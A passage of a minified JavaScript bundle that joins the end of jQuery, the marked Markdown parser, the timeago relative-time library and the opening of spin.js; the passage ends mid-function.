null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,\"\"),t&&\"auto\"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Ln.propHooks.scrollTop=Ln.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||\"boolean\"==typeof e?n.apply(this,arguments):this.animate(qn(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Lt).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),s=function(){var t=jn(this,x.extend({},e),o);(i||q.get(this,\"finish\"))&&t.stop(!0)};return s.finish=s,i||o.queue===!1?this.each(s):this.queue(o.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return\"string\"!=typeof e&&(n=t,t=e,e=undefined),t&&e!==!1&&this.queue(e||\"fx\",[]),this.each(function(){var t=!0,i=null!=e&&e+\"queueHooks\",o=x.timers,s=q.get(this);if(i)s[i]&&s[i].stop&&r(s[i]);else for(i in s)s[i]&&s[i].stop&&Cn.test(i)&&r(s[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||\"fx\"),this.each(function(){var t,n=q.get(this),r=n[e+\"queue\"],i=n[e+\"queueHooks\"],o=x.timers,s=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;s>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function qn(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=jt[i],r[\"margin\"+n]=r[\"padding\"+n]=e;return t&&(r.opacity=r.width=e),r}x.each({slideDown:qn(\"show\"),slideUp:qn(\"hide\"),slideToggle:qn(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&\"object\"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:\"number\"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=Ln.prototype.init,x.fx.tick=function(){var e,t=x.timers,n=0;for(xn=x.now();t.length>n;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||x.fx.stop(),xn=undefined},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){bn||(bn=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(bn),bn=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)return e===undefined?this:this.each(function(t){x.offset.setOffset(this,e,t)});var t,n,i=this[0],o={top:0,left:0},s=i&&i.ownerDocument;if(s)return t=s.documentElement,x.contains(t,i)?(typeof i.getBoundingClientRect!==r&&(o=i.getBoundingClientRect()),n=Hn(s),{top:o.top+n.pageYOffset-t.clientTop,left:o.left+n.pageXOffset-t.clientLeft}):o},x.offset={setOffset:function(e,t,n){var r,i,o,s,a,u,l,c=x.css(e,\"position\"),p=x(e),f={};\"static\"===c&&(e.style.position=\"relative\"),a=p.offset(),o=x.css(e,\"top\"),u=x.css(e,\"left\"),l=(\"absolute\"===c||\"fixed\"===c)&&(o+u).indexOf(\"auto\")>-1,l?(r=p.position(),s=r.top,i=r.left):(s=parseFloat(o)||0,i=parseFloat(u)||0),x.isFunction(t)&&(t=t.call(e,n,a)),null!=t.top&&(f.top=t.top-a.top+s),null!=t.left&&(f.left=t.left-a.left+i),\"using\"in t?t.using.call(e,f):p.css(f)}},x.fn.extend({position:function(){if(this[0]){var e,t,n=this[0],r={top:0,left:0};return\"fixed\"===x.css(n,\"position\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],\"html\")||(r=e.offset()),r.top+=x.css(e[0],\"borderTopWidth\",!0),r.left+=x.css(e[0],\"borderLeftWidth\",!0)),{top:t.top-r.top-x.css(n,\"marginTop\",!0),left:t.left-r.left-x.css(n,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,\"html\")&&\"static\"===x.css(e,\"position\"))e=e.offsetParent;return e||s})}}),x.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(t,n){var r=\"pageYOffset\"===n;x.fn[t]=function(i){return x.access(this,function(t,i,o){var s=Hn(t);return o===undefined?s?s[n]:t[i]:(s?s.scrollTo(r?e.pageXOffset:o,r?o:e.pageYOffset):t[i]=o,undefined)},t,i,arguments.length,null)}});function Hn(e){return x.isWindow(e)?e:9===e.nodeType&&e.defaultView}x.each({Height:\"height\",Width:\"width\"},function(e,t){x.each({padding:\"inner\"+e,content:t,\"\":\"outer\"+e},function(n,r){x.fn[r]=function(r,i){var o=arguments.length&&(n||\"boolean\"!=typeof r),s=n||(r===!0||i===!0?\"margin\":\"border\");return x.access(this,function(t,n,r){var i;return x.isWindow(t)?t.document.documentElement[\"client\"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body[\"scroll\"+e],i[\"scroll\"+e],t.body[\"offset\"+e],i[\"offset\"+e],i[\"client\"+e])):r===undefined?x.css(t,n,s):x.style(t,n,r,s)},t,o?r:undefined,o,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,\"object\"==typeof module&&module&&\"object\"==typeof module.exports?module.exports=x:\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return x}),\"object\"==typeof e&&\"object\"==typeof e.document&&(e.jQuery=e.$=x)})(window);\n(function(){function e(e){this.tokens=[],this.tokens.links={},this.options=e||a.defaults,this.rules=p.normal,this.options.gfm&&(this.options.tables?this.rules=p.tables:this.rules=p.gfm)}function t(e,t){if(this.options=t||a.defaults,this.links=e,this.rules=u.normal,this.renderer=this.options.renderer||new n,this.renderer.options=this.options,!this.links)throw new Error(\"Tokens array requires a `links` property.\");this.options.gfm?this.options.breaks?this.rules=u.breaks:this.rules=u.gfm:this.options.pedantic&&(this.rules=u.pedantic)}function n(e){this.options=e||{}}function r(e){this.tokens=[],this.token=null,this.options=e||a.defaults,this.options.renderer=this.options.renderer||new n,this.renderer=this.options.renderer,this.renderer.options=this.options}function s(e,t){return e.replace(t?/&/g:/&(?!#?\\w+;)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/\"/g,\"&quot;\").replace(/'/g,\"&#39;\")}function i(e){return e.replace(/&(#(?:\\d+)|(?:#x[0-9A-Fa-f]+)|(?:\\w+));?/g,function(e,t){return t=t.toLowerCase(),\"colon\"===t?\":\":\"#\"===t.charAt(0)?\"x\"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):\"\"})}function l(e,t){return e=e.source,t=t||\"\",function n(r,s){return r?(s=s.source||s,s=s.replace(/(^|[^\\[])\\^/g,\"$1\"),e=e.replace(r,s),n):new RegExp(e,t)}}function o(){}function h(e){for(var t,n,r=1;r<arguments.length;r++){t=arguments[r];for(n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e}function a(t,n,i){if(i||\"function\"==typeof n){i||(i=n,n=null),n=h({},a.defaults,n||{});var l,o,p=n.highlight,u=0;try{l=e.lex(t,n)}catch(c){return i(c)}o=l.length;var g=function(e){if(e)return n.highlight=p,i(e);var t;try{t=r.parse(l,n)}catch(s){e=s}return n.highlight=p,e?i(e):i(null,t)};if(!p||p.length<3)return g();if(delete n.highlight,!o)return g();for(;u<l.length;u++)!function(e){return\"code\"!==e.type?--o||g():p(e.text,e.lang,function(t,n){return t?g(t):null==n||n===e.text?--o||g():(e.text=n,e.escaped=!0,void(--o||g()))})}(l[u])}else try{return n&&(n=h({},a.defaults,n)),r.parse(e.lex(t,n),n)}catch(c){if(c.message+=\"\\nPlease report this to github.com/chjj/marked.\",(n||a.defaults).silent)return\"<p>An error occured:</p><pre>\"+s(c.message+\"\",!0)+\"</pre>\";throw c}}var p={newline:/^\\n+/,code:/^( {4}[^\\n]+\\n*)+/,fences:o,hr:/^( *[-*_]){3,} *(?:\\n+|$)/,heading:/^ *(#{1,6}) *([^\\n]+?) *#* *(?:\\n+|$)/,nptable:o,lheading:/^([^\\n]+)\\n *(=|-){2,} *(?:\\n+|$)/,blockquote:/^( *>[^\\n]+(\\n(?!def)[^\\n]+)*\\n*)+/,list:/^( *)(bull) [\\s\\S]+?(?:hr|def|\\n{2,}(?! )(?!\\1bull )\\n*|\\s*$)/,html:/^ *(?:comment *(?:\\n|\\s*$)|closed *(?:\\n{2,}|\\s*$)|closing *(?:\\n{2,}|\\s*$))/,def:/^ *\\[([^\\]]+)\\]: *<?([^\\s>]+)>?(?: +[\"(]([^\\n]+)[\")])? *(?:\\n+|$)/,table:o,paragraph:/^((?:[^\\n]+\\n?(?!hr|heading|lheading|blockquote|tag|def))+)\\n*/,text:/^[^\\n]+/};p.bullet=/(?:[*+-]|\\d+\\.)/,p.item=/^( *)(bull) [^\\n]*(?:\\n(?!\\1bull )[^\\n]*)*/,p.item=l(p.item,\"gm\")(/bull/g,p.bullet)(),p.list=l(p.list)(/bull/g,p.bullet)(\"hr\",\"\\\\n+(?=\\\\1?(?:[-*_] *){3,}(?:\\\\n+|$))\")(\"def\",\"\\\\n+(?=\"+p.def.source+\")\")(),p.blockquote=l(p.blockquote)(\"def\",p.def)(),p._tag=\"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\\\b)\\\\w+(?!:/|[^\\\\w\\\\s@]*@)\\\\b\",p.html=l(p.html)(\"comment\",/<!--[\\s\\S]*?-->/)(\"closed\",/<(tag)[\\s\\S]+?<\\/\\1>/)(\"closing\",/<tag(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/)(/tag/g,p._tag)(),p.paragraph=l(p.paragraph)(\"hr\",p.hr)(\"heading\",p.heading)(\"lheading\",p.lheading)(\"blockquote\",p.blockquote)(\"tag\",\"<\"+p._tag)(\"def\",p.def)(),p.normal=h({},p),p.gfm=h({},p.normal,{fences:/^ *(`{3,}|~{3,})[ \\.]*(\\S+)? *\\n([\\s\\S]*?)\\s*\\1 *(?:\\n+|$)/,paragraph:/^/,heading:/^ *(#{1,6}) +([^\\n]+?) *#* *(?:\\n+|$)/}),p.gfm.paragraph=l(p.paragraph)(\"(?!\",\"(?!\"+p.gfm.fences.source.replace(\"\\\\1\",\"\\\\2\")+\"|\"+p.list.source.replace(\"\\\\1\",\"\\\\3\")+\"|\")(),p.tables=h({},p.gfm,{nptable:/^ *(\\S.*\\|.*)\\n *([-:]+ *\\|[-| :]*)\\n((?:.*\\|.*(?:\\n|$))*)\\n*/,table:/^ *\\|(.+)\\n *\\|( *[-:]+[-| :]*)\\n((?: *\\|.*(?:\\n|$))*)\\n*/}),e.rules=p,e.lex=function(t,n){var r=new e(n);return r.lex(t)},e.prototype.lex=function(e){return e=e.replace(/\\r\\n|\\r/g,\"\\n\").replace(/\\t/g,\"    \").replace(/\\u00a0/g,\" \").replace(/\\u2424/g,\"\\n\"),this.token(e,!0)},e.prototype.token=function(e,t,n){for(var r,s,i,l,o,h,a,u,c,e=e.replace(/^ +$/gm,\"\");e;)if((i=this.rules.newline.exec(e))&&(e=e.substring(i[0].length),i[0].length>1&&this.tokens.push({type:\"space\"})),i=this.rules.code.exec(e))e=e.substring(i[0].length),i=i[0].replace(/^ {4}/gm,\"\"),this.tokens.push({type:\"code\",text:this.options.pedantic?i:i.replace(/\\n+$/,\"\")});else if(i=this.rules.fences.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"code\",lang:i[2],text:i[3]||\"\"});else if(i=this.rules.heading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"heading\",depth:i[1].length,text:i[2]});else if(t&&(i=this.rules.nptable.exec(e))){for(e=e.substring(i[0].length),h={type:\"table\",header:i[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:i[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:i[3].replace(/\\n$/,\"\").split(\"\\n\")},u=0;u<h.align.length;u++)/^ *-+: *$/.test(h.align[u])?h.align[u]=\"right\":/^ *:-+: *$/.test(h.align[u])?h.align[u]=\"center\":/^ *:-+ *$/.test(h.align[u])?h.align[u]=\"left\":h.align[u]=null;for(u=0;u<h.cells.length;u++)h.cells[u]=h.cells[u].split(/ *\\| */);this.tokens.push(h)}else if(i=this.rules.lheading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"heading\",depth:\"=\"===i[2]?1:2,text:i[1]});else if(i=this.rules.hr.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"hr\"});else if(i=this.rules.blockquote.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"blockquote_start\"}),i=i[0].replace(/^ *> ?/gm,\"\"),this.token(i,t,!0),this.tokens.push({type:\"blockquote_end\"});else if(i=this.rules.list.exec(e)){for(e=e.substring(i[0].length),l=i[2],this.tokens.push({type:\"list_start\",ordered:l.length>1}),i=i[0].match(this.rules.item),r=!1,c=i.length,u=0;c>u;u++)h=i[u],a=h.length,h=h.replace(/^ *([*+-]|\\d+\\.) +/,\"\"),~h.indexOf(\"\\n \")&&(a-=h.length,h=this.options.pedantic?h.replace(/^ {1,4}/gm,\"\"):h.replace(new RegExp(\"^ {1,\"+a+\"}\",\"gm\"),\"\")),this.options.smartLists&&u!==c-1&&(o=p.bullet.exec(i[u+1])[0],l===o||l.length>1&&o.length>1||(e=i.slice(u+1).join(\"\\n\")+e,u=c-1)),s=r||/\\n\\n(?!\\s*$)/.test(h),u!==c-1&&(r=\"\\n\"===h.charAt(h.length-1),s||(s=r)),this.tokens.push({type:s?\"loose_item_start\":\"list_item_start\"}),this.token(h,!1,n),this.tokens.push({type:\"list_item_end\"});this.tokens.push({type:\"list_end\"})}else if(i=this.rules.html.exec(e))e=e.substring(i[0].length),this.tokens.push({type:this.options.sanitize?\"paragraph\":\"html\",pre:!this.options.sanitizer&&(\"pre\"===i[1]||\"script\"===i[1]||\"style\"===i[1]),text:i[0]});else if(!n&&t&&(i=this.rules.def.exec(e)))e=e.substring(i[0].length),this.tokens.links[i[1].toLowerCase()]={href:i[2],title:i[3]};else if(t&&(i=this.rules.table.exec(e))){for(e=e.substring(i[0].length),h={type:\"table\",header:i[1].replace(/^ *| *\\| *$/g,\"\").split(/ *\\| */),align:i[2].replace(/^ *|\\| *$/g,\"\").split(/ *\\| */),cells:i[3].replace(/(?: *\\| *)?\\n$/,\"\").split(\"\\n\")},u=0;u<h.align.length;u++)/^ *-+: *$/.test(h.align[u])?h.align[u]=\"right\":/^ *:-+: *$/.test(h.align[u])?h.align[u]=\"center\":/^ *:-+ *$/.test(h.align[u])?h.align[u]=\"left\":h.align[u]=null;for(u=0;u<h.cells.length;u++)h.cells[u]=h.cells[u].replace(/^ *\\| *| *\\| *$/g,\"\").split(/ *\\| */);this.tokens.push(h)}else if(t&&(i=this.rules.paragraph.exec(e)))e=e.substring(i[0].length),this.tokens.push({type:\"paragraph\",text:\"\\n\"===i[1].charAt(i[1].length-1)?i[1].slice(0,-1):i[1]});else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),this.tokens.push({type:\"text\",text:i[0]});else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0));return this.tokens};var u={escape:/^\\\\([\\\\`*{}\\[\\]()#+\\-.!_>])/,autolink:/^<([^ >]+(@|:\\/)[^ >]+)>/,url:o,tag:/^<!--[\\s\\S]*?-->|^<\\/?\\w+(?:\"[^\"]*\"|'[^']*'|[^'\">])*?>/,link:/^!?\\[(inside)\\]\\(href\\)/,reflink:/^!?\\[(inside)\\]\\s*\\[([^\\]]*)\\]/,nolink:/^!?\\[((?:\\[[^\\]]*\\]|[^\\[\\]])*)\\]/,strong:/^__([\\s\\S]+?)__(?!_)|^\\*\\*([\\s\\S]+?)\\*\\*(?!\\*)/,em:/^\\b_((?:[^_]|__)+?)_\\b|^\\*((?:\\*\\*|[\\s\\S])+?)\\*(?!\\*)/,code:/^(`+)\\s*([\\s\\S]*?[^`])\\s*\\1(?!`)/,br:/^ {2,}\\n(?!\\s*$)/,del:o,text:/^[\\s\\S]+?(?=[\\\\<!\\[_*`]| {2,}\\n|$)/};u._inside=/(?:\\[[^\\]]*\\]|[^\\[\\]]|\\](?=[^\\[]*\\]))*/,u._href=/\\s*<?([\\s\\S]*?)>?(?:\\s+['\"]([\\s\\S]*?)['\"])?\\s*/,u.link=l(u.link)(\"inside\",u._inside)(\"href\",u._href)(),u.reflink=l(u.reflink)(\"inside\",u._inside)(),u.normal=h({},u),u.pedantic=h({},u.normal,{strong:/^__(?=\\S)([\\s\\S]*?\\S)__(?!_)|^\\*\\*(?=\\S)([\\s\\S]*?\\S)\\*\\*(?!\\*)/,em:/^_(?=\\S)([\\s\\S]*?\\S)_(?!_)|^\\*(?=\\S)([\\s\\S]*?\\S)\\*(?!\\*)/}),u.gfm=h({},u.normal,{escape:l(u.escape)(\"])\",\"~|])\")(),url:/^(https?:\\/\\/[^\\s<]+[^<.,:;\"')\\]\\s])/,del:/^~~(?=\\S)([\\s\\S]*?\\S)~~/,text:l(u.text)(\"]|\",\"~]|\")(\"|\",\"|https?://|\")()}),u.breaks=h({},u.gfm,{br:l(u.br)(\"{2,}\",\"*\")(),text:l(u.gfm.text)(\"{2,}\",\"*\")()}),t.rules=u,t.output=function(e,n,r){var s=new t(n,r);return s.output(e)},t.prototype.output=function(e){for(var t,n,r,i,l=\"\";e;)if(i=this.rules.escape.exec(e))e=e.substring(i[0].length),l+=i[1];else if(i=this.rules.autolink.exec(e))e=e.substring(i[0].length),\"@\"===i[2]?(n=\":\"===i[1].charAt(6)?this.mangle(i[1].substring(7)):this.mangle(i[1]),r=this.mangle(\"mailto:\")+n):(n=s(i[1]),r=n),l+=this.renderer.link(r,null,n);else if(this.inLink||!(i=this.rules.url.exec(e))){if(i=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(i[0])?this.inLink=!0:this.inLink&&/^<\\/a>/i.test(i[0])&&(this.inLink=!1),e=e.substring(i[0].length),l+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(i[0]):s(i[0]):i[0];else if(i=this.rules.link.exec(e))e=e.substring(i[0].length),this.inLink=!0,l+=this.outputLink(i,{href:i[2],title:i[3]}),this.inLink=!1;else if((i=this.rules.reflink.exec(e))||(i=this.rules.nolink.exec(e))){if(e=e.substring(i[0].length),t=(i[2]||i[1]).replace(/\\s+/g,\" \"),t=this.links[t.toLowerCase()],!t||!t.href){l+=i[0].charAt(0),e=i[0].substring(1)+e;continue}this.inLink=!0,l+=this.outputLink(i,t),this.inLink=!1}else if(i=this.rules.strong.exec(e))e=e.substring(i[0].length),l+=this.renderer.strong(this.output(i[2]||i[1]));else if(i=this.rules.em.exec(e))e=e.substring(i[0].length),l+=this.renderer.em(this.output(i[2]||i[1]));else if(i=this.rules.code.exec(e))e=e.substring(i[0].length),l+=this.renderer.codespan(s(i[2],!0));else if(i=this.rules.br.exec(e))e=e.substring(i[0].length),l+=this.renderer.br();else if(i=this.rules.del.exec(e))e=e.substring(i[0].length),l+=this.renderer.del(this.output(i[1]));else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),l+=this.renderer.text(s(this.smartypants(i[0])));else if(e)throw new Error(\"Infinite loop on byte: \"+e.charCodeAt(0))}else e=e.substring(i[0].length),n=s(i[1]),r=n,l+=this.renderer.link(r,null,n);return l},t.prototype.outputLink=function(e,t){var n=s(t.href),r=t.title?s(t.title):null;return\"!\"!==e[0].charAt(0)?this.renderer.link(n,r,this.output(e[1])):this.renderer.image(n,r,s(e[1]))},t.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,\"—\").replace(/--/g,\"–\").replace(/(^|[-\\u2014\\/(\\[{\"\\s])'/g,\"$1‘\").replace(/'/g,\"’\").replace(/(^|[-\\u2014\\/(\\[{\\u2018\\s])\"/g,\"$1“\").replace(/\"/g,\"”\").replace(/\\.{3}/g,\"…\"):e},t.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,n=\"\",r=e.length,s=0;r>s;s++)t=e.charCodeAt(s),Math.random()>.5&&(t=\"x\"+t.toString(16)),n+=\"&#\"+t+\";\";return n},n.prototype.code=function(e,t,n){if(this.options.highlight){var r=this.options.highlight(e,t);null!=r&&r!==e&&(n=!0,e=r)}return t?'<pre><code class=\"'+this.options.langPrefix+s(t,!0)+'\">'+(n?e:s(e,!0))+\"\\n</code></pre>\\n\":\"<pre><code>\"+(n?e:s(e,!0))+\"\\n</code></pre>\"},n.prototype.blockquote=function(e){return\"<blockquote>\\n\"+e+\"</blockquote>\\n\"},n.prototype.html=function(e){return e},n.prototype.heading=function(e,t,n){return\"<h\"+t+' id=\"'+this.options.headerPrefix+n.toLowerCase().replace(/[^\\w]+/g,\"-\")+'\">'+e+\"</h\"+t+\">\\n\"},n.prototype.hr=function(){return this.options.xhtml?\"<hr/>\\n\":\"<hr>\\n\"},n.prototype.list=function(e,t){var n=t?\"ol\":\"ul\";return\"<\"+n+\">\\n\"+e+\"</\"+n+\">\\n\"},n.prototype.listitem=function(e){return\"<li>\"+e+\"</li>\\n\"},n.prototype.paragraph=function(e){return\"<p>\"+e+\"</p>\\n\"},n.prototype.table=function(e,t){return\"<table>\\n<thead>\\n\"+e+\"</thead>\\n<tbody>\\n\"+t+\"</tbody>\\n</table>\\n\"},n.prototype.tablerow=function(e){return\"<tr>\\n\"+e+\"</tr>\\n\"},n.prototype.tablecell=function(e,t){var n=t.header?\"th\":\"td\",r=t.align?\"<\"+n+' style=\"text-align:'+t.align+'\">':\"<\"+n+\">\";return r+e+\"</\"+n+\">\\n\"},n.prototype.strong=function(e){return\"<strong>\"+e+\"</strong>\"},n.prototype.em=function(e){return\"<em>\"+e+\"</em>\"},n.prototype.codespan=function(e){return\"<code>\"+e+\"</code>\"},n.prototype.br=function(){return this.options.xhtml?\"<br/>\":\"<br>\"},n.prototype.del=function(e){return\"<del>\"+e+\"</del>\"},n.prototype.link=function(e,t,n){if(this.options.sanitize){try{var r=decodeURIComponent(i(e)).replace(/[^\\w:]/g,\"\").toLowerCase()}catch(s){return\"\"}if(0===r.indexOf(\"javascript:\")||0===r.indexOf(\"vbscript:\"))return\"\"}var l='<a href=\"'+e+'\"';return t&&(l+=' title=\"'+t+'\"'),l+=\">\"+n+\"</a>\"},n.prototype.image=function(e,t,n){var r='<img src=\"'+e+'\" alt=\"'+n+'\"';return t&&(r+=' title=\"'+t+'\"'),r+=this.options.xhtml?\"/>\":\">\"},n.prototype.text=function(e){return e},r.parse=function(e,t,n){var s=new r(t,n);return s.parse(e)},r.prototype.parse=function(e){this.inline=new t(e.links,this.options,this.renderer),this.tokens=e.reverse();for(var n=\"\";this.next();)n+=this.tok();return n},r.prototype.next=function(){return this.token=this.tokens.pop()},r.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},r.prototype.parseText=function(){for(var e=this.token.text;\"text\"===this.peek().type;)e+=\"\\n\"+this.next().text;return this.inline.output(e)},r.prototype.tok=function(){switch(this.token.type){case\"space\":return\"\";case\"hr\":return this.renderer.hr();case\"heading\":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,this.token.text);case\"code\":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case\"table\":var e,t,n,r,s,i=\"\",l=\"\";for(n=\"\",e=0;e<this.token.header.length;e++)r={header:!0,align:this.token.align[e]},n+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(i+=this.renderer.tablerow(n),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],n=\"\",s=0;s<t.length;s++)n+=this.renderer.tablecell(this.inline.output(t[s]),{header:!1,align:this.token.align[s]});l+=this.renderer.tablerow(n)}return this.renderer.table(i,l);case\"blockquote_start\":for(var l=\"\";\"blockquote_end\"!==this.next().type;)l+=this.tok();return this.renderer.blockquote(l);case\"list_start\":for(var l=\"\",o=this.token.ordered;\"list_end\"!==this.next().type;)l+=this.tok();return this.renderer.list(l,o);case\"list_item_start\":for(var l=\"\";\"list_item_end\"!==this.next().type;)l+=\"text\"===this.token.type?this.parseText():this.tok();return this.renderer.listitem(l);case\"loose_item_start\":for(var l=\"\";\"list_item_end\"!==this.next().type;)l+=this.tok();return this.renderer.listitem(l);case\"html\":var h=this.token.pre||this.options.pedantic?this.token.text:this.inline.output(this.token.text);return this.renderer.html(h);case\"paragraph\":return this.renderer.paragraph(this.inline.output(this.token.text));case\"text\":return this.renderer.paragraph(this.parseText())}},o.exec=o,a.options=a.setOptions=function(e){return h(a.defaults,e),a},a.defaults={gfm:!0,tables:!0,breaks:!1,pedantic:!1,sanitize:!1,sanitizer:null,mangle:!0,smartLists:!1,silent:!1,highlight:null,langPrefix:\"lang-\",smartypants:!1,headerPrefix:\"\",renderer:new n,xhtml:!1},a.Parser=r,a.parser=r.parse,a.Renderer=n,a.Lexer=e,a.lexer=e.lex,a.InlineLexer=t,a.inlineLexer=t.output,a.parse=a,\"undefined\"!=typeof module&&\"object\"==typeof exports?module.exports=a:\"function\"==typeof define&&define.amd?define(function(){return a}):this.marked=a}).call(function(){return this||(\"undefined\"!=typeof window?window:global)}());\n!function(t,e){\"object\"==typeof module&&module.exports?(module.exports=e(),module.exports.default=module.exports):t.timeago=e()}(\"undefined\"!=typeof window?window:this,function(){function t(t){return t instanceof Date?t:isNaN(t)?/^\\d+$/.test(t)?new Date(e(t)):(t=(t||\"\").trim().replace(/\\.\\d+/,\"\").replace(/-/,\"/\").replace(/-/,\"/\").replace(/(\\d)T(\\d)/,\"$1 $2\").replace(/Z/,\" UTC\").replace(/([\\+\\-]\\d\\d)\\:?(\\d\\d)/,\" $1$2\"),new Date(t)):new Date(e(t))}function e(t){return parseInt(t)}function n(t,n,r){n=l[n]?n:l[r]?r:\"en\";for(var o=0,i=t<0?1:0,a=t=Math.abs(t);t>=p[o]&&o<h;o++)t/=p[o];return t=e(t),o*=2,t>(0===o?9:1)&&(o+=1),l[n](t,o,a)[i].replace(\"%s\",t)}function r(e,n){return((n=n?t(n):new Date)-t(e))/1e3}function o(t){for(var e=1,n=0,r=Math.abs(t);t>=p[n]&&n<h;n++)t/=p[n],e*=p[n];return r%=e,r=r?e-r:e,Math.ceil(r)}function i(t){return a(t,\"data-timeago\")||a(t,\"datetime\")}function a(t,e){return t.getAttribute?t.getAttribute(e):t.attr?t.attr(e):void 0}function u(t,e){return t.setAttribute?t.setAttribute(m,e):t.attr?t.attr(m,e):void 0}function c(t,e){this.nowDate=t,this.defaultLocale=e||\"en\"}function d(t,e){return new c(t,e)}var f=\"second_minute_hour_day_week_month_year\".split(\"_\"),s=\"秒_分钟_小时_天_周_月_年\".split(\"_\"),l={en:function(t,e){if(0===e)return[\"just now\",\"right now\"];var n=f[parseInt(e/2)];return t>1&&(n+=\"s\"),[t+\" \"+n+\" ago\",\"in \"+t+\" \"+n]},zh_CN:function(t,e){if(0===e)return[\"刚刚\",\"片刻后\"];var n=s[parseInt(e/2)];return[t+n+\"前\",t+n+\"后\"]}},p=[60,60,24,7,365/7/12,12],h=6,m=\"data-tid\",w={};return c.prototype.doRender=function(t,e,i){var a,c=r(e,this.nowDate),d=this;t.innerHTML=n(c,i,this.defaultLocale),w[a=setTimeout(function(){d.doRender(t,e,i),delete w[a]},Math.min(1e3*o(c),2147483647))]=0,u(t,a)},c.prototype.format=function(t,e){return n(r(t,this.nowDate),e,this.defaultLocale)},c.prototype.render=function(t,e){void 0===t.length&&(t=[t]);for(var n=0,r=t.length;n<r;n++)this.doRender(t[n],i(t[n]),e)},c.prototype.setLocale=function(t){this.defaultLocale=t},d.register=function(t,e){l[t]=e},d.cancel=function(t){var e;if(t)(e=a(t,m))&&(clearTimeout(e),delete w[e]);else{for(e in w)clearTimeout(e);w={}}},d});\n// http://spin.js.org/#v2.3.2\n!function(a,b){\"object\"==typeof module&&module.exports?module.exports=b():\"function\"==typeof define&&define.amd?define(b):a.Spinner=b()}(this,function(){\"use strict\";function a(a,b){var c,d=document.createElement(a||\"div\");for(c in b)d[c]=b[c];return d}function b(a){for(var b=1,c=arguments.length;c>b;b++)a.appendChild(arguments[b]);return a}function c(a,b,c,d){var 